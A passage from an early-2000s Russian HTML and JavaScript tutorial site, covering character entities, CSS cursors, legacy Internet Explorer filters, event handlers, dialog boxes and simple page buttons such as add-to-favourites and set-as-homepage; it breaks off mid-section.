É | &#201; | latin capital letter E with acute
Ê | &#202; | latin capital letter E with circumflex
Ë | &#203; | latin capital letter E with diaeresis
Ì | &#204; | latin capital letter I with grave
Í | &#205; | latin capital letter I with acute
Î | &#206; | latin capital letter I with circumflex
Ï | &#207; | latin capital letter I with diaeresis
Ð | &#208; | latin capital letter ETH
Ñ | &#209; | latin capital letter N with tilde
Ò | &#210; | latin capital letter O with grave
Ó | &#211; | latin capital letter O with acute
Ô | &#212; | latin capital letter O with circumflex
Õ | &#213; | latin capital letter O with tilde
Ö | &#214; | latin capital letter O with diaeresis
× | &#215; | знак умножения
Ø | &#216; | latin capital letter O with stroke = latin capital letter O slash
Ù | &#217; | latin capital letter U with grave
Ú | &#218; | latin capital letter U with acute
Û | &#219; | latin capital letter U with circumflex
Ü | &#220; | latin capital letter U with diaeresis
Ý | &#221; | latin capital letter Y with acute
Þ | &#222; | latin capital letter THORN
ß | &#223; | latin small letter sharp s = ess-zed
à | &#224; | latin small letter a with grave = latin small letter a grave
á | &#225; | latin small letter a with acute
â | &#226; | latin small letter a with circumflex
ã | &#227; | latin small letter a with tilde
ä | &#228; | latin small letter a with diaeresis
å | &#229; | latin small letter a with ring above = latin small letter a ring
æ | &#230; | latin small letter ae = latin small ligature ae
ç | &#231; | latin small letter c with cedilla
è | &#232; | latin small letter e with grave
é | &#233; | latin small letter e with acute
ê | &#234; | latin small letter e with circumflex
ë | &#235; | latin small letter e with diaeresis
ì | &#236; | latin small letter i with grave
í | &#237; | latin small letter i with acute
î | &#238; | latin small letter i with circumflex
ï | &#239; | latin small letter i with diaeresis
ð | &#240; | latin small letter eth
ñ | &#241; | latin small letter n with tilde
ò | &#242; | latin small letter o with grave
ó | &#243; | latin small letter o with acute
ô | &#244; | latin small letter o with circumflex
õ | &#245; | latin small letter o with tilde
ö | &#246; | latin small letter o with diaeresis
÷ | &#247; | знак деления
ø | &#248; | latin small letter o with stroke, = latin small letter o slash
ù | &#249; | latin small letter u with grave
ú | &#250; | latin small letter u with acute
û | &#251; | latin small letter u with circumflex
ü | &#252; | latin small letter u with diaeresis
ý | &#253; | latin small letter y with acute
þ | &#254; | latin small letter thorn
ÿ | &#255; | latin small letter y with diaeresis
Α | &#913; | греческая заглавная буква альфа
Β | &#914; | греческая заглавная буква бета
Γ | &#915; | греческая заглавная буква гамма
Δ | &#916; | греческая заглавная буква дельта
Ε | &#917; | греческая заглавная буква эпсилон
Ζ | &#918; | греческая заглавная буква дзета
Η | &#919; | греческая заглавная буква эта
Θ | &#920; | греческая заглавная буква тета
Ι | &#921; | греческая заглавная буква иота
Κ | &#922; | греческая заглавная буква каппа
Λ | &#923; | греческая заглавная буква лямбда
Μ | &#924; | греческая заглавная буква мю
Ν | &#925; | греческая заглавная буква ню
Ξ | &#926; | греческая заглавная буква кси
Ο | &#927; | греческая заглавная буква омикрон
Π | &#928; | греческая заглавная буква пи
Ρ | &#929; | греческая заглавная буква ро
Σ | &#931; | греческая заглавная буква сигма
Τ | &#932; | греческая заглавная буква тау
Υ | &#933; | греческая заглавная буква ипсилон
Φ | &#934; | греческая заглавная буква фи
Χ | &#935; | греческая заглавная буква хи
Ψ | &#936; | греческая заглавная буква пси
Ω | &#937; | греческая заглавная буква омега
α | &#945; | греческая строчная буква альфа
β | &#946; | греческая строчная буква бета
γ | &#947; | греческая строчная буква гамма
δ | &#948; | греческая строчная буква дельта
ε | &#949; | греческая строчная буква эпсилон
ζ | &#950; | греческая строчная буква дзета
η | &#951; | греческая строчная буква эта
θ | &#952; | греческая строчная буква тета
ι | &#953; | греческая строчная буква иота
κ | &#954; | греческая строчная буква каппа
λ | &#955; | греческая строчная буква лямбда
μ | &#956; | греческая строчная буква мю
ν | &#957; | греческая строчная буква ню
ξ | &#958; | греческая строчная буква кси
ο | &#959; | греческая строчная буква омикрон
π | &#960; | греческая строчная буква пи
ρ | &#961; | греческая строчная буква ро
ς | &#962; | греческая строчная буква сигма (final)
σ | &#963; | греческая строчная буква сигма
τ | &#964; | греческая строчная буква тау
υ | &#965; | греческая строчная буква ипсилон
φ | &#966; | греческая строчная буква фи
χ | &#967; | греческая строчная буква хи
ψ | &#968; | греческая строчная буква пси
ω | &#969; | греческая строчная буква омега
Знаки пунктуации
• | &#8226; | bullet - маленький черный кружок
… | &#8230; | многоточие ...
′ | &#8242; | одиночный штрих - минуты и футы
″ | &#8243; | двойной штрих - секунды и дюймы
‾ | &#8254; | надчеркивание
⁄ | &#8260; | косая дробная черта
Стрелки
← | &#8592; | стрелка влево
↑ | &#8593; | стрелка вверх
→ | &#8594; | стрелка вправо
↓ | &#8595; | стрелка вниз
↔ | &#8596; | стрелка влево-вправо
Математические операторы
ƒ | &#402; | latin small f with hook = знак функции = florin
∂ | &#8706; | частный дифференциал
∏ | &#8719; | произведение последовательности - знак произведения
∑ | &#8721; | сумма последовательности
− | &#8722; | минус
√ | &#8730; | квадратный корень
∞ | &#8734; | бесконечность
∩ | &#8745; | пересечение - cap
∫ | &#8747; | интеграл
≈ | &#8776; | почти равно - асимптотически стремится
≠ | &#8800; | не равно
≡ | &#8801; | тождественно
≤ | &#8804; | меньше либо равно
≥ | &#8805; | больше либо равно
Прочие символы
◊ | &#9674; | lozenge
♠ | &#9824; | черный знак масти "пики"
♣ | &#9827; | черный знак масти "трефы" - shamrock
♥ | &#9829; | черный знак масти "червы" - valentine
" | &#34; | двойная кавычка - APL quote
& | &#38; | ampersand
< | &#60; | знак "меньше"
> | &#62; | знак "больше"
Œ | &#338; | латинская заглавная лигатура OE
œ | &#339; | латинская строчная лигатура oe
Š | &#352; | latin capital letter S with caron
š | &#353; | latin small letter s with caron
Ÿ | &#376; | latin capital letter Y with diaeresis
ˆ | &#710; | modifier letter circumflex accent
˜ | &#732; | small tilde
‌ | &#8204; | zero width non-joiner
‍ | &#8205; | zero width joiner
– | &#8211; | en dash
— | &#8212; | em dash
‘ | &#8216; | левая одиночная кавычка
’ | &#8217; | правая одиночная кавычка
‚ | &#8218; | нижняя одиночная кавычка
“ | &#8220; | левая двойная кавычка
” | &#8221; | правая двойная кавычка
„ | &#8222; | нижняя двойная кавычка
† | &#8224; | кинжал (крест)
‡ | &#8225; | двойной кинжал (крест)
‰ | &#8240; | промилле
‹ | &#8249; | левая угловая одиночная кавычка
› | &#8250; | правая угловая одиночная кавычка
€ | &#8364; | валюта евро


 Курсоры
    Курсоры.

    Здесь представлены курсоры, которые Вы можете использовать на своих страницах. Для отображения соответствующего курсора нужно создать таблицу и поместить тест между любыми из представленных ячейек:

    cursor:crosshair | <td style=CURSOR:crosshair;> Ваш текст </td>
cursor:move | <td style=CURSOR:move;> Ваш текст </td>
cursor:e-resize | <td style=CURSOR:e-resize;> Ваш текст </td>
cursor:ne-resize | <td style=CURSOR:ne-resize;> Ваш текст </td>
cursor:nw-resize | <td style=CURSOR:nw-resize;> Ваш текст </td>
cursor:n-resize | <td style=CURSOR:n-resize;> Ваш текст </td>
cursor:sw-resize | <td style=CURSOR:sw-resize;> Ваш текст </td>
cursor:se-resize | <td style=CURSOR:se-resize;> Ваш текст </td>
cursor:s-resize | <td style=CURSOR:s-resize;> Ваш текст </td>
cursor:w-resize | <td style=CURSOR:w-resize;> Ваш текст </td>
cursor:text | <td style=CURSOR:text;> Ваш текст </td>
cursor:wait | <td style=CURSOR:wait;> Ваш текст </td>
cursor:help | <td style=CURSOR:help;> Ваш текст </td>


 Фильтры, применяемые к тексту
    Фильтры, применяемые к тексту.

  • Фильтр Mask (Выделяет текст)
  • Фильтр Shadow (Cоздает тень)
  • Фильтр DropShadow (Еще один вид тени)
  • Фильтр FlipH (Переворачивает текст горизонтально)
  • Фильтр FlipV (Переворачивает текст вертикально)
  • Фильтр Glow (Сияющий текст)
  • Фильтр Wave (Волнистый текст)
  • Фильтр Blur (Размытие текста)

    Фильтр Mask. Вверх

    Выделяет текст, как будто бы Вы выделили его мышью.

    Синтаксис:
    STYLE="filter:Mask(Color='Color')"
    Color - цвет выделения в шестнадцатиричном виде (напр. #000FFF) или название цвета на английском, например, Red, Blue, Green. Такое определение цвета применяется во всех фильтрах, поэтому дальше это повторяться не будет.

    Пример:
    <P STYLE="filter:Mask(Color='Red'); width: 200; height: 28; font-size: 16pt; font-weight: bold; text-align: center;"> Пример </P>

    Пример

    Фильтр Shadow. Вверх

    Создает тень текста

    Синтаксис:
    STYLE="filter:Shadow(Color='Color', Direction='Direction')"
    Color - цвет тени.
    Direction - направление тени (от 0 до 315).

    Пример:
    <P STYLE="filter:Shadow(Color='#000000', Direction='130'); width: 200; height: 28; font-size: 16pt; font-weight: bold; text-align: center; color: Red;"> Пример </P>

    Пример

    Фильтр DropShadow. Вверх

    Добавляет тень к тексту.

    Синтаксис:
    STYLE="filter:DropShadow(Color='Color', OffX='Offx', OffY='Offy', Positive='Positive')"
    Color - Цвет тени
    OffX - Смещение тени по X
    OffY - Смещение тени по Y
    Positive - Тень слева или справа (0 или 1 соответственно)

    Пример:
    <P STYLE="filter:DropShadow(Color='#7FFF00',OffX='3',OffY='3',Positive='1'); width: 200; height: 28; font-size: 16pt; font-weight: bold; text-align: center; color: Green;"> Пример </P>

    Пример

    Фильтр FlipH. Вверх

    Переворачивает текст горизонтально.

    Синтаксис:
    STYLE="filter:FlipH"

    Пример:
    <P STYLE="filter:FlipH; width: 200; height: 28; font-size: 16pt; font-weight: bold; text-align: center; color: Red;"> Пример </P>

    Пример

    Фильтр FlipV. Вверх

    Переворачивает текст вертикально.

    Синтаксис:
    STYLE="filter:FlipV"

    Пример:
    <P STYLE="filter:FlipV; width: 200; height: 28; font-size: 16pt; font-weight: bold; text-align: center; color: Red;"> Пример </P>

    Пример

    Фильтр Glow. Вверх

    Создает эффект сияния.

    Синтаксис:
    STYLE="filter:Glow(Strength='Strength', Color='Color')"
    Strength - сила, с которой текст засияет (0-100)
    Color - цвет, которым текст засияет.

    Пример:
    <P STYLE="filter:Glow(Strength='3', Color='#00FF00'); width: 200; height: 28; font-size: 16pt; font-weight: bold; text-align: center; color: DarkGreen;"> Пример </P>

    Пример

    Фильтр Wave. Вверх

    Делает текст волнистым.

    Синтаксис:
    STYLE="filter: Wave( Freq='Freq', Add='Add', LightStrength='LightStrength', Phase='Phase', Strength='Strength')"
    Freq - колличество волн
    Add - показать/скрыть окантовку (1 или 0 соответственно)
    LightStrength - сила волн
    Phase - угол волн
    Strength - интенсивность волн

    Пример:
    <P STYLE="filter:Wave(Freq='5', Add='0', LightStrength='1', Phase='2', Strength='2'); width: 200; height: 28; font-size: 16pt; font-weight: bold; text-align: center; color: Green;"> Пример </P>

    Пример

    Фильтр Blur. Вверх

    Размывает текст в определенную сторону.

    Синтаксис:
    STYLE="filter:Blur(Add='Add', Direction='Direction', Strength='Strength')"
    Add - умеренное или сильное размытие (соответственно 1 или 0)
    Direction - в какую сторону произойдет размытие (oт 0 до 315)
    Strength - смещение размытия

    Пример:
    <P STYLE="filter:Blur(Add='1',Direction='30',Strength='10'); width: 200; height: 28; font-size: 16pt; font-weight: bold; text-align: center; color: Blue;"> Пример </P>

    Пример

    Обратитие внимание: цвет размытия не задается, фильтр задает его сам; в данном примере определен только цвет текста.


 Фильтры, применяемые к изображению
    Фильтры, применяемые к изображению.

  • Фильтр Alpha (Осветвление изображение)
  • Фильтр Blur (Размазытие изображения)
  • Фильтр Invert (Инверсия изображения)
  • Фильтр Gray (Черно-белое изображение)
  • Фильтр Chroma (Определенный цвет делается прозрачным)
  • Фильтр XRay (Негативное изображение)
  • Фильтр RevealTrans (Появление изображения)

    Исходное изображения без применения фильтров Все фильтры, описанные в данной статье, были применены к этому изображению.

    Фильтр Alpha. Вверх

    Осветляет изображение.

    Синтаксис:
    STYLE="filter:Alpha(Opacity='Opacity', FinishOpacity='Finishopacity', Style='Style', StartX='X', StartY='Y', FinishX='X', FinishY='Y')"
    Opacity - степень осветления (0-100. 0 светло, 100 темно).
    FinishOpacity - конечная степень осветления (0-100. 0 светло, 100 темно).
    Style - метод осветвления (число: 0(без осветвления), 1(линия) 2(круг) 3(прямоугольник)
    StartX, StartY, FinishX, FinishY - координаты осветвляемой области

    Пример:
    <IMG STYLE="filter:Alpha(Opacity='90',FinishOpacity='45',Style='2')" SRC="Имя изображения" WIDTH="Ширина изображения" HEIGHT="Высота изображения"></P>

    Фильтр Blur. Вверх

    Размывает изображение в определенную сторону.

    Синтаксис:
    STYLE="filter:Blur(Add='Add', Direction='Direction', Strength='Strength')"
    Add - умеренное или сильное размытие (соответственно 1 или 0)
    Direction - в какую сторону произойдет размытие (oт 0 до 315)
    Strength - смещение размытия

    Пример:
    <IMG STYLE="filter:Blur(Add='1',Direction='310',Strength='10')" SRC="Имя изображения" WIDTH="Ширина изображения" HEIGHT="Высота изображения"></P>

    Фильтр Invert. Вверх

    Инверсия изображения

    Синтаксис:
    STYLE="filter:Invert"

    Пример:
    <IMG STYLE="filter:Invert" SRC="Имя изображения" WIDTH="Ширина изображения" HEIGHT="Высота изображения"></P>

    Фильтр Gray. Вверх

    Делает изображение черно-белым

    Синтаксис:
    STYLE="filter:Gray"

    Пример:
    <IMG STYLE="filter:Gray" SRC="Имя изображения" WIDTH="Ширина изображения" HEIGHT="Высота изображения"></P>

    Фильтр Chroma. Вверх

    Определенный цвет делается прозрачным.

    Синтаксис: STYLE="filter:Chroma(Color='Color')"
    Color - цвет выделения в шестнадцатиричном виде (напр. #000000) или название цвета на английском, например, Black, Red, Blue, Green.

    Пример:
    <IMG STYLE="filter:Chroma(Color='#000000')" SRC="Имя изображения" WIDTH="Ширина изображения" HEIGHT="Высота изображения"></P>

    Фильтр Xray. Вверх

    Негативное изображение

    Синтаксис: STYLE="filter:Xray"

    Пример:
    <IMG STYLE="filter:Xray" SRC="Имя изображения" WIDTH="Ширина изображения" HEIGHT="Высота изображения"></P>

    Фильтр RevealTrans. Вверх

    Появление изображения.

    Синтаксис:
    STYLE="filter:revealTrans(Duration='Duration', Transition='Transition')"
    Duration - время, за которое появится изображение (в секундах)
    Transition - эффект (совершенно разные эффекты от 0 до 23). Значение 23 меняет эффект появления изображения после каждой перезагрузки страницы.

    Пример использования:
    <SCRIPT>
    <!--
    function Start()     // Функция запуска фильтра. Кнопка Показать.
    {
    RevealTransFilter.filters.item(0).Apply()
    RevealTransFilter.filters.item(0).Play()
    RevealTransFilter.style.visibility=""
    }
    function Clear()     // Функция скрытия изображения. Кнопка Сброс.
    {
    RevealTransFilter.style.visibility="hidden"
    }
    // -->
    </SCRIPT>
    <IMG id="RevealTransFilter" STYLE="filter:revealTrans(Duration=1, Transition=12);VISIBILITY: hidden;" SRC="    Имя изображения" WIDTH="Ширина изображения" HEIGHT="Высота изображения"><br>
    <input type=button value=" Показать " OnClick="Start()">
    <input type="reset" value=" Сброс " OnClick="Clear()">


    Дополнительные возможности тега <BODY>

    Неподвижный фон.
    Вы можете сделать фон своей страницы неподвижным, т.е. прокручивая страницу фон будет оставатся на месте.

    <BODY background="Фоновое изображение" bgproperties=fixed>

    Зеркальное отображение страницы и прокрутки.
    Используя данную конструкцию можно перенести прокрутку на левую сторону, а содержимое страницы выравнить по правому краю.

    <BODY dir=rtl>

    Надпись в статусной строке
    Следующим параметром можно задать текст, котый будет отображен в статустной строке.

    <BODY OnLoad="window.defaultStatus='Этот текст будет отображатся в строке состояния'">

    Задание параметров <BODY> в стиле.
    Данный код будет интересен Web-дизайнерам, применяющим стили. Он размещает на странице фоновое изображение в единственном числе, которое расположено в 13 пикселях от верхнего и в 13 пикселях от правого края и при прокрутки документа остается неподвижным. Если на странице будут находиться таблицы, при прокрутки они будут закрывать фоновое изображение.

    <STYLE TYPE="text/css"><!--
    BODY { background: url("    Фоновое изображение");
    background-attachment: fixed;
    background-repeat: no-repeat;
    background-position: 13px 13px;
    background-color: #FFFF00 }
    --></STYLE>

    Параметры:
    background: url("Фоновое изображение"); - определяет фоновое изображение, например, Fon.gif.
    background-attachment: fixed; - определяет неподвижность фонового изображения при прокрутки страницы.
    background-repeat: no-repeat; - данный параметр запрещает размножать изображение, убрав его, изображение будет размножено по всей странице. background-position: 13px 13px; - определяет позицию фонового изображения: от верхнего края и от левого края.
    background-color: #FFFF00; - определяет цвет фона всего документа в шестнадцатиричном виде (как в примере) или названиями цветов - Red, Green и т.д.


Новые окна

    Новые окна.

    С помошью этой программы можно создать ссылку для открытия нового окна с определенными элементами управления. Например, Вы можете убрать статустную строку, меню и т.д.

    Примечание: Вычеркните элемент по умолчанию http:// и можете смело нажимать кнопку Предпросмотр - будут отображаться пустые окна.

    LENIN INC Windows creater v1.0

    URL:
    Ширина окна:
    Высота окна:
    Имя ссылки:
    Панель инструментов:
    Адрес:
    Ссылки:
    Строка состояния:
    Меню:
    Прокрутки:
    Растягивание мышью:

    © 2002 by Vladimir Drigalkin (LENIN INC)


Полезные советы Web-мастеру

    Полезные советы Web-мастеру.

    1. Размер каждой загружаемой страницы не должен превышать 30К. Если ваша страница требует длительной загрузки, предупредите об этом посетителей.

    2. Избегайте крупных изображений и апплетов, они долго грузяться.

    3. Составляйте крупные изображения из более мелких. Несколько маленьких картинок загружаются значительно быстрее, чем одна большая.

    4. Для ускорения загрузки страниц применяйте в изображениях теги HEIGHT, WIDTH и ALT.

    5. По общепринятым нормам баннер размером 468х60 рiх (пикселей) не должен превышать 15-20 Кб.

    6. Избегайте пестрых, многоэлементных фоновых изображений: они сильно затрудняют чтение страниц.

    7. Регулярно проверяйте свои ссылки на работоспособность.

    8. Если на изображении сотни цветов или оно имеет фотографическое качество пользуйтесь форматом JPEG. Он обеспечивает меньший размер файла для таких изображений. Если же это изображения с крупными монотонными областями или текстом, пользуйтесь форматом GIF, так как JPEG пачкает цвета и смазывает текст.

    9. Пользуйтесь таблицами - это самый эффективный способ оформления, особенно для изображений, сопровождаемых текстом.

    10. Не пишите ничего в статусной строке, пользователю хочется знать куда он попадет после нажатия на ссылку.


 JavaScript
    JavaScript.

    JavaScript - это язык для составления сценариев, позволяющих выполнять разные действия непосредственно на машине пользователя. Распологаются данные сценарии внутри HTML документов.

    JavaScript применяется для проверки правильности заполнения форм, создания удобной навигации, вообщем различных сервисов.

    Каждая вставка сценария JavaScript в HTML-документ начинается открывающим тегом <SCRIPT> и завершается закрывающим </SCRIPT>. Открывающий тег <SCRIPT> может иметь необязательный атрибут LANGUAGE равным JavaScript. В связи с появлением еще одного скриптового языка VBScript рекомендуется использовать этот атрибут. Кроме того, обратите внимание на использование тегов комментария <!-- и //-->. Если страница, содержащая сценарий, будет загружена в Обозреватель не поддерживающий языки сценариев, строки программы, засоряя экран, будут выведены как обычный текст. Если же использовать тег комментария, то такой браузер пропустит текст программы, воспринимая его как комментарий. Двойная косая черта перед закрывающим текст скприпта тегом комментария гарантирует, что тег не будет воспринят Обозревателем как оператор JavaScript:

    <SCRIPT LANGUAGE="JavaScript">
    <!--
    alert("    Добро пожаловать !")
    //-->
    </SCRIPT>

    Результатом выполнения этого скрипта будет вывод на экран сообщения: Добро пожаловать !

    JavaScript может содержавть следующие элементы:

    Операторы | Производят действия над одним или несколькими операндами или переменными. Операторы разделяются друг от друга точкой с запятой ";".
    Функции Последовательность операторов, выполняющих какую-либо задачу. Синтаксис:

    <SCRIPT LANGUAGE="JavaScript">
    <!--
    function NameFunction()
    {
    alert("Добро пожаловать !")
    }
    //-->
    </SCRIPT>

    <BUTTON TYPE="SUBMIT" ONCLICK="NameFunction();"> Пример </BUTTON>

    Имя функции (NameFunction) произвольно и определяется программистом. Для того чтобы вызвать функцию достаточно указать имя функции и круглые скобки, в которых могут находится передаваемые параметры.

    Данный пример демонстрирует вызов функции NameFunction при нажатии кнопки NameFunction, после чего функция выполняет метод alert - отображение окна с текстом (параметром) Добро пожаловать !

    Методы | Функции, которые сразу совершают какое-то действие над объектом. Метод представляет собой функцию, связанную с объектом.
    События (обработчики событий) | Действия, которые произвел пользователь: щелкнул на ссылке (кнопке), подвел курсор мышки над каким-либо объектом, щелкнул в текстовом поле для его заполнения (передал фокус этому элементу) и т.д. Они позволяют программисту отслеживать действия пользователя (события) по отношению к странице HTML.
    Комментарии Примечания программиста, которые будут игнорированы интерпритатором. Однострочные комментарии начинаются с символа "//". Многострочные комментарии начинаются с "/*" и заканчиваются "*/".

    // Комментарий ограничен данной строкой

    /* Комментарий начинается здесь
    и заканчивается здесь*/

    Переменные Переменные объявляются при помощи ключевого слова var, за которым следует имя переменной. Возможно объявление сразу нескольких переменных, в этом случае они разделяются запятой. Кроме того, переменные могут быть сразу инициализированы при объявлении, т.е. им будет присвоено значение.

    var NameofVariable1, NameofVariable2 = 567;

    Здесь переменная NameofVariable1 просто объявлена, а переменная NameofVariable2 еще и инициализирована при объявлении и ей присвоено значение 567.

    Областью видимости переменной является текущая функция или, в случае объявления вне функции, весь текущий документ (web-страничка).

    var globalString;
    function bracket()
    {
    var localString = "[" + globalString + "]";
    document.write(localString);
    }

    В вышеприведенном примере переменная globalString может быть использована в любой функции или сценарии текущего документа (такие переменные называют глобальными для данного документа), а переменная localString видна только внутри функции bracket (такие переменные называют локальными переменными функции). Как Вы видите, при инициализации локальной переменной мы можем использовать значение глобальной переменной.

    Типы переменных:

    • численный;
    • логический;
    • строковый;
    Численные переменные могут содержать целые числа и числа с плавающей точкой. Целые числа могут быть выражены в обычном десятичном (по основанию 10), шестнадцатеричном (по основанию 16) или восьмеричном (по основанию 8) представлении.

    Логические переменные могут иметь только два значения: true (истина) или false (ложь). Вместо true и false можно использовать соответственно 1 и 0.

    Строковые переменные содержат любое количество символов - строку. При присваивании строковой переменной значения (строки) строка всегда окружена одинарными или двойными кавычками.

    var variable1 = 534, variable2 = true, variable3 = "строка";

    Мы объявили переменные:
    variable1 - численная;
    variable2 - логическая;
    variable3 - строковая;

    А использование обратного слеша "\" позволяет вставлять в строку специальные символы:

    document.write("\"Сделайте это\", - сказал он.");

    выводит фразу "Сделайте это", - сказал он.


 События
    События.

    OnClick Реагирует на одинарный щелчок курсора мыши.

    <A HREF="#null" OnClick="alert('Пример события OnClick'); return false" LANGUAGE="Javascript"> Пример </A>

    OnDblClick Реагирует на двойной щелчок курсора мыши.

    <A HREF="#null" OnClick="return false" OnDblClick="alert('Пример события OnDblClick')" LANGUAGE="Javascript"> Пример </A>

    OnDragStart Реагирует на перетаскивание курсором мыши.

    <A HREF="#Eventondragstart" LANGUAGE="VBscript" ID="egOnDragStartLink" OnClick="self.event.returnValue=false" TARGET="HTMLib_content"> Пример </A>

    <script LANGUAGE="VBScript">
<!--
Sub egOnDragStartLink_OnDragStart
egOnDragStartLink.innerText="Поперетаскивать захотелось ?"
self.event.returnValue=false
l=setTimeOut("ResetOnDragStartExample()",3000)
End Sub
Sub ResetOnDragStartExample()
egOnDragStartLink.innerText="Еще хочется ?"
End Sub
//--></script>

    Заданное по умолчанию действие перемещения было отменено. Нормальное действие должно было бы загрузить документ, вызванный ссылкой .

    OnHelp При одинарном щелчке курсором мыши можно нажать кнопку F1, при этом отобразится подсказка с инструкциями о том, что данная ссылка реагирует на двойной щелчок курсором мыши.

    <A HREF="other_page.html" LANGUAGE="Javascript" onclick="return false" OnHelp="alert('Дважды нажмите ссылку, что бы документ открылся.');return false" ondblclick="alert('Это просто пример - ничего не откроется...')"> Пример </A>

    OnKeyDown Реагирует при нажатии и держании клавиши.

    <A HREF="#null" OnKeyDown="alert('Пример события OnKeyDown')" LANGUAGE="Javascript"> Пример </A>

    OnKeyPress Реагирует при нажатии клавиши.

    <A HREF="#null" OnKeyPress="alert('Пример события OnKeyPress')" LANGUAGE="Javascript"> Пример </A>

    OnKeyUp Реагирует при отпускании клавиши.

    <A HREF="#null" OnKeyUp="alert('Пример события OnKeyUp')" LANGUAGE="Javascript"> Пример </A>

    KeyCode Содержит символ клавиши (UNICODE) , которая была нажата, чтобы заставить события onkeypress, onkeydown или onkeyup работать.
    OnMouseDown Реагирует на нажатие кнопки мыши.

    <A HREF="#null" OnMouseDown="alert('Пример события OnMouseDown')" LANGUAGE="Javascript"> Пример </A>

    OnMouseMove Реагирует всякий раз, когда мышь пользователя перемещается поверх определенного текста в документe. В следующем примере, когда пользователь проводит по тексту курсором мыши, в статустной строке отображается разный текст:

    <p onmousemove="top.status='Здесь ПЕРВЫЙ комментарий...'" STYLE="cursor:default" ALIGN="center"> Здесь первый комментарий, <em onmousemove="top.status='Здесь ВТОРОЙ комментарий...';self.event.cancelBubble=true;return true"> здесь второй</em>, и снова первый.</p>

    Здесь первый комментарий, здесь второй, и снова первый.

    OnMouseOut Реагирует когда курсор мыши оставляет ссылку.

    <A HREF="#null" OnMouseOut="alert('Пример события OnMouseDown')" LANGUAGE="Javascript"> Пример </A>

    OnMouseOver Реагирует когда курсор мыши пользователя входит в область ссылки.

    <A HREF="#null" OnMouseOver="alert('Пример события OnMouseOver')" LANGUAGE="Javascript"> Пример </A>

    OnMouseUp Может использоваться, чтобы выполнить функции сценария после того, как мышь пользователя была нажата и отпущена - противоположность события OnMouseDown.

    <A HREF="#null" OnMouseUp="alert('Пример события OnMouseUp')" LANGUAGE="Javascript"> Пример </A>

    OnSelectStart Исполняется всякий раз, когда пользователь начинает выбирать некоторый текст, который является содержанием элемента.

    <table BORDER="8" BgColor="red" WIDTH="65%" cellspacing=8>
    <tr><td>
    <p ID="paraSelectStart">Выбор любого элемента из этого текста заставит изменять его цвета ... иногда дико
    <script LANGUAGE="VBScript">
    <!--
    Sub paraSelectStart_onselectstart()
    Dim hexColor
    Dim hexColor2
    hexColor=hex(rnd*16777215)
    if hexColor>"ffffff"then hexColor="ffffff"
    hexColor2=hex(rnd*16777215)
    if hexColor2>"ffffff"then hexColor2="ffffff"
    on error resume next
    set elRef=document.all("paraSelectStart")
    elRef.style.backgroundColor=hexColor
    elRef.style.color=hexColor2
    self.event.returnValue=false
    End Sub
    //-->
    </script>
    </td></tr>
    </table>

    Выбор любого элемента из этого текста заставит изменять его цвета

    Пример совместной работы событий OnMouseOver, OnMouseOut и свойства status :

    <A HREF="#null" onMouseOver="status='Добро пожаловать !' ;return true" onMouseOut="status='Домашняя страничка Владимира Дригалкина' ;return true"> Пример </A>

    При загрузке документа в статусной строке одна информация, при попадании указателя мыши в область ссылки - другая, а после выхода указателя мыши из этой области - третья.


 Окна с сообщениями
    Окна с сообщениями.

    Используя методы Alert, Confirm и Prompt можно выводить сообщения пользователю. Сообщение, выводимое с помощью метода alert, используется для вывода предупреждений, какой-нибудь информации. Метод confirm используется для сообщений, требующих принятия решения пользователем - в окне находяться две кнопки - "Ok" и "Отмена". При использовании метода prompt диалог кроме самого сообщения содержит поле для ввода текста.

    Метод Alert
    В виде кнопки :
    <INPUT TYPE=submit VALUE=" Метод Alert " LANGUAGE="Javascript" onclick="alert('Здесь Ваше сообщение')">

    В виде ссылки :
    <A HREF="URL" onclick="alert('Здесь Ваше сообщение')" LANGUAGE="Javascript">Метод Alert</A>
    Метод Alert

    Метод Confirm
    В виде кнопки :
    <INPUT TYPE=submit VALUE=" Метод Confirm " LANGUAGE="Javascript" onclick="confirm('Здесь Ваш вопрос')">

    В виде ссылки :
    <A HREF="URL" onclick="confirm('Здесь Ваш вопрос')" LANGUAGE="Javascript">Метод Confirm</A>
    Метод Confirm

    Метод Prompt
    В виде кнопки :
    <INPUT TYPE=submit VALUE=" Метод Prompt " LANGUAGE="Javascript" onclick="prompt('Здесь Ваш запрос')">

    В виде ссылки :
    <A HREF="URL" onclick="prompt('Здесь Ваш запрос')" LANGUAGE="Javascript">Метод Prompt</A>
    Метод Prompt

    Вот пример практического применения метода confirm. Script определяет открыл ли пользователь страницу во фрейме, если нет - выводит запрос:

    Пример использования метода Confirm.

    При нажатии пользователем кнопки Ok, программа загрузит файл Frame.htm (см. код ниже), если нажмет Отмена - ничего не произойдет, а точнее пользователь не покинет текущую страницу, на которой в нашем случае будет красоваться сообщение ERROR.

    <html>
    <head>
    <title>    Пример практического применения метода Confirm</title>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">

    <script language="javascript"><!--
    if (self==parent) {
    if (confirm('    Это окно - составляющее Фрейма \n и не может быть открыто самостоятельно!\n\n Загрузить стартовую страницу?')) location.href="Frame.htm" };
    //--></script>

    </head>
    <body>

    <br><br><br><br>
    <p align="center">
    <font face=verdana size="7" color="red">
    <b>ERROR</b>
    </font>
    </p>

    </body>
    </html>


 Кнопки
    Кнопки.

  • Добавить в Избранное.
  • Сделать страницу стартовой.
  • История посещений (Назад/Вперед).
  • Перезагрузка страницы.
  • Кнопка-ссылка.
  • Сообщение в окне.
  • Сообщение в статусной строке.
  • Изменение фонового цвета страницы.
  • Открытие нового окна.
  • Просмотр в виде HTML.
  • Печать страницы.
  • Украшательства. (изображение в кнопке, изменение шрифта текста кнопки, подсвечивание).

    Добавить в Избранное. Вверх

    На своей странице Вы можете установить кнопку, при нажатии на которую пользователь добавлял бы ее в Избранное:

    <FORM>
    <BUTTON TYPE="SUBMIT" onClick="window.external.addFavorite('http://lenininc.narod.ru/', 'LENIN INC'); return false;">     Добавить в избранное </BUTTON>
    </FORM>

    В вдие ссылки эта кнопка будет выглядить так:

    <A HREF="#nul" onClick="window.external.addFavorite('http://lenininc.narod.ru/', 'LENIN INC'); return false;"> Добавить в избранное </A>

    Измените значение http://lenininc.narod.ru/ на свой адрес, значение LENIN INC на имя вашего сайта.

    Сделать страницу стартовой. Вверх

    Следующий код реализует кнопку, при нажатии на которую страница делаеться стартовой:

    <FORM>
    <BUTTON TYPE="SUBMIT" onClick="this.style.behavior='url(#default#homepage)'; this.setHomePage('http://lenininc.narod.ru/'); return false;">     Сделать стартовой </BUTTON>
    </FORM>

    В вдие ссылки:

